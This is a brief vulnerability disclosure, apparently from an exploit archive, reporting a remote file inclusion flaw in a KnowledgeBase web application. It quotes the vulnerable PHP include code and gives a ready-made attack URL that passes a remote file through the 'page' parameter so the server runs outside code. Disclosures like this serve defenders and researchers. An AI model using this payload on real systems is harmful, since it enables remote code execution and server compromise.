Remote File Inclusion

KnowledgeBase
Vendor: www.activecampaign.com/kb/

Well, inside the index.php file we can see:

if ($page == ""){
 $page = "startup";
}
 @include("$page.php");
?>

After I tested some sites with kb I got file inclusion:
http://www.site.com/kb/index.php?page=http://[file]

Dominus_Vis
[Infektion Group]